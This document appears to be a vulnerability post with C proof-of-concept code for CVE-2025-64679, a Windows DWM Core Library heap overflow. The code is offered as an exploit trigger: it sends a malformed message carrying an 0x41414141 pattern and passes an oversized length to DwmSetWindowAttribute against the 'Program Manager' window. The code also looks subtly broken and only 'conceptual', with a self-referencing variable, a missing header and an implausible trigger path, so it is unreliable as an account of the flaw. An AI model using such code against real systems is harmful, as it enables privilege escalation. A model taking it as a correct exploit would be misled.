CVE-2025-64679 Windows DWM Core Library堆缓冲区溢出特权提升漏洞

// CVE-2025-64679 PoC - Windows DWM Core Library Heap Buffer Overflow // This is a conceptual proof of concept for educational purposes only #include <windows.h> #include <winuser.h> #include <dwmapi.h> // Trigger DWM vulnerability through malformed DWM message void trigger_dwm_vulnerability() { HWND hwnd = CreateWindowEx( 0, "STATIC", "DWM Test Window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 400, 300, NULL, NULL, NULL, NULL ); if (hwnd) { ShowWindow(hwnd, SW_SHOW); // Send malformed DWM message to trigger heap overflow // This triggers processing in dwmcore.dll LRESULT result = SendMessageTimeout( hwnd, 0x00E3, // WM_DWM_* message (WPARAM)0xFFFFFFFF, // Malformed parameter (LPARAM)0x41414141, // Pattern to trigger overflow SMTO_ABORTIFHUNG, 5000, (PDWORD_PTR)&result ); DestroyWindow(hwnd); } } // Alternative trigger via DwmSetWindowAttribute void trigger_via_dwm_attribute() { HWND hwnd = FindWindow(NULL, "Program Manager"); if (hwnd) { // Allocate small buffer to trigger overflow char small_buffer[64]; memset(small_buffer, 'A', sizeof(small_buffer)); // Call DwmSetWindowAttribute with malformed data DwmSetWindowAttribute( hwnd, DWMWA_TRANSITIONS_FORCEDISABLE, small_buffer, sizeof(small_buffer) + 0x1000 // Overflow trigger ); } } int main() { printf("CVE-2025-64679 DWM Heap Buffer Overflow Test\n"); printf("This PoC is for authorized testing only\n"); trigger_dwm_vulnerability(); trigger_via_dwm_attribute(); return 0; }